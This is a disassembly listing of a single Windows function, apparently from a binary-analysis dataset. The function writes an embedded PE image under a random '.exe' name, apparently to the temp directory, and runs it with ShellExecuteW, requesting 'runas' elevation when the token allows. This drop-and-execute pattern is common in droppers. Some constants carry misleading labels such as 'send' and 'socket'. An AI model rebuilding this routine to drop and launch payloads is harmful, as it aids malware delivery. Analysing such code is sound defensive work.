Function at 0x14005f390
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [0x1400dabf0]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
mov r13, rcx
mov qword [rbp - 0x40], rcx
xor r15d, r15d
mov esi, r15d
mov dword [rsp + 0x30], r15d
mov ecx, 4
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
mov eax, dword [rcx + rdx]
cmp dword [0x1400de570], eax
jle 0x14005f424
lea rcx, [0x1400de570]
call fcn.14009c770
cmp dword [0x1400de570], 0xffffffff
jne 0x14005f424
lea rcx, [0x1400b6630]
call fcn.14009cb2c
nop
lea rcx, [0x1400de570]
call fcn.14009c704
mov rax, qword [r13]
mov rcx, r15
test rax, rax
je 0x14005f43b
mov edx, 0x5a4d
cmp dx, word [rax]
sete cl
mov qword [rbp - 0x68], rcx
lea r12, str..exe
movabs r14, 0x948b0fcd6e9e0653
movzx edi, byte [rsp + 0x34]
test rcx, rcx
je 0x14005f481
mov rax, r12
cmp qword [r12 + 0x18], 0x10
jb 0x14005f469
mov rax, qword [r12]
cmp qword [r12 + 0x10], 4
jne 0x14005fb87
cmp dword [rax], 0x6578652e
jne 0x14005fb87
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], send
mov byte [rsp + 0x38], 0
or esi, 1
mov dword [rsp + 0x30], esi
mov ebx, recv
lea r13, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_________._
nop dword [rax]
call fcn.140085248
movsxd rcx, eax
mov rax, r14
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 6
imul rax, rax, 0x51
sub rcx, rax
movzx r9d, byte [rcx + r13]
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
cmp rcx, rdx
jae 0x14005f51c
lea rax, [rcx + 1]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x38]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x38]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14005f52f
movzx r8d, dil
mov edx, 1
lea rcx, [rsp + 0x38]
call fcn.1400431f0
sub rbx, 1
jne 0x14005f4c0
mov r13, qword [rbp - 0x40]
mov rdx, r12
cmp qword [r12 + 0x18], 0x10
jb 0x14005f548
mov rdx, qword [r12]
mov r8, qword [r12 + 0x10]
lea rcx, [rsp + 0x38]
call fcn.14003f6e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x70], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], send
mov byte [rax], 0
or esi, 2
mov dword [rsp + 0x30], esi
lea rax, [rbp - 0x20]
mov qword [rbp + 0x30], rax
lea rax, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae rax, qword [rsp + 0x78]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp - 0x78]
mov qword [rbp + 0x18], rax
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x20]
call fcn.140047a60
or esi, 4
mov dword [rsp + 0x30], esi
and esi, 0xfffffffb
mov dword [rsp + 0x30], esi
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r15w
or esi, 0x20
mov dword [rsp + 0x30], esi
xor r8d, r8d
mov edx, 0x105
lea rcx, [rsp + 0x58]
call fcn.14003dcd0
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rcx, qword [rsp + 0x58]
call fcn.1400a3910
mov rbx, rax
mov qword [rbp + 0x50], rax
xor r8d, r8d
mov edx, eax
lea rcx, [rsp + 0x58]
call fcn.14003dcd0
shr rbx, 0x20
cmp ebx, 0xffffffff
jne 0x14005f658
mov dword [rbp + 0x20], socket
lea rax, str.p8_f_
mov qword [rbp + 0x28], rax
movaps xmm0, xmmword [rbp + 0x20]
jmp 0x14005f66d
mov eax, dword [rbp + 0x54]
mov dword [rbp - 0x30], eax
lea rax, str.___f_
mov qword [rbp - 0x28], rax
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x50], xmm0
and esi, 0xffffffdf
mov dword [rsp + 0x30], esi
or esi, 0x10
mov dword [rsp + 0x30], esi
movd eax, xmm0
test eax, eax
jne 0x14005fbd1
and esi, 0xffffffef
mov dword [rsp + 0x30], esi
or esi, 8
mov dword [rsp + 0x30], esi
lea r8, [rbp - 0x20]
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x88]
call fcn.14002c640
nop
and esi, 0xfffffff7
mov dword [rsp + 0x30], esi
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x14005f6f8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f6f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fbe7
call fcn.14009c6c0
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r15w
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x14005f74c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f747
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fbed
call fcn.14009c6c0
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], 7
mov word [rbp - 0x20], r15w
and esi, 0xfffffffd
mov dword [rsp + 0x30], esi
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x14005f7a0
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f79b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fbf3
call fcn.14009c6c0
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x70], send
mov byte [rsp + 0x78], 0
and esi, 0xfffffffe
mov dword [rsp + 0x30], esi
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x14005f7f5
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f7f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fbf9
call fcn.14009c6c0
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], send
mov byte [rsp + 0x38], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xb0]
call fcn.14009ea00
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0xb0]
call fcn.1400611b0
nop
cmp qword [rbp + 0x138], 0
je 0x14005fa7a
mov rdx, qword [r13]
mov r8, qword [r13 + 8]
sub r8, rdx
lea rcx, [rbp + 0xb0]
call fcn.140060b80
lea rcx, [rbp + 0xb0]
call fcn.140044570
lea rcx, [rbp + 0xb8]
call fcn.140061060
test rax, rax
jne 0x14005f8b1
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx + 0xf8], 0
mov edx, 2
cmovne eax, edx
or eax, dword [rbp + rcx + 0xc0]
and eax, 0x17
mov dword [rbp + rcx + 0xc0], eax
and eax, dword [rbp + rcx + 0xc4]
jne 0x14005fbff
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x60], r15
mov rbx, r15
mov qword [rbp + 0x60], rbx
mov r14d, r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x50]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14005f91e
mov rbx, qword [rbp + 0x50]
mov qword [rbp + 0x60], rbx
mov r15, rbx
mov dword [rbp + 0x48], 4
xor r14d, r14d
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
lea r9d, [r14 + 4]
lea r8, [rbp + 0x4c]
lea edx, [r14 + 0x14]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x14005f91e
cmp dword [rbp + 0x4c], r14d
setne r14b
test r15, r15
je 0x14005f92f
mov rcx, rbx
mov rax, qword [0x1400c3ca0]
call rax
lea rdx, str.open
test r14d, r14d
lea rax, str.runas
cmovne rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
xor r15d, r15d
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x80], r15
mov r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], r15w
jne 0x14005f960
lea rcx, [rbp + 0x68]
call fcn.140042770
nop
lea rdx, [rbp + 0x88]
lea rcx, [rbp - 0x60]
call fcn.14003df00
bts esi, 7
mov dword [rsp + 0x30], esi
lea r8, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae r8, qword [rbp - 0x60]
lea rdx, [rbp + 0x68]
cmp qword [rbp + 0x80], 8
cmovae rdx, qword [rbp + 0x68]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
btr esi, 7
mov dword [rsp + 0x30], esi
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x14005fa08
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005fa03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fc4e
call fcn.14009c6c0
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], r15w
mov rdx, qword [rbp + 0x80]
cmp rdx, 8
jb 0x14005fa5c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005fa57
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fc54
call fcn.14009c6c0
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x80], 7
mov word [rbp + 0x68], r15w
movabs r14, 0x948b0fcd6e9e0653
lea rax, [rbp + 0x158]
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xac], edx
lea rcx, [rbp + 0xb8]
call fcn.140060ad0
nop
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0xac], edx
lea rax, [rbp + 0x158]
mov qword [rbp + 0x40], rax
lea rax, vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x158], rax
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x158], rax
lea rcx, [rbp + 0x158]
call fcn.1400a4690
nop
mov rdx, qword [rbp + 0xa0]
cmp rdx, 8
jb 0x14005fb69
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005fb64
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fbcb
call fcn.14009c6c0
mov qword [rbp + 0x98], r15
mov qword [rbp + 0xa0], 7
mov word [rbp + 0x88], r15w
mov rcx, qword [rbp - 0x68]
add r12, 0x20
lea rax, [0x1400dad50]
cmp r12, rax
jne 0x14005f455
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.14009c6a0
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14007e888
nop
lea r8, [rsp + 0x58]
lea rdx, [rbp + 0x50]
lea rcx, str.temp_directory_path
call fcn.14002cf00
nop
call fcn.14007e888
nop
call fcn.14007e888
nop
call fcn.14007e888
nop
call fcn.14007e888
nop
test al, 4
je 0x14005fc0c
lea rbx, str.ios_base::badbit_set
jmp 0x14005fc20
test dl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp - 0x30]
call fcn.14002aae0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.14002bc30
lea rdx, [0x1400d8078]
lea rcx, [rbp - 0x20]
call fcn.14009f8e8
nop
call fcn.14007e888
nop
call fcn.14007e888
int3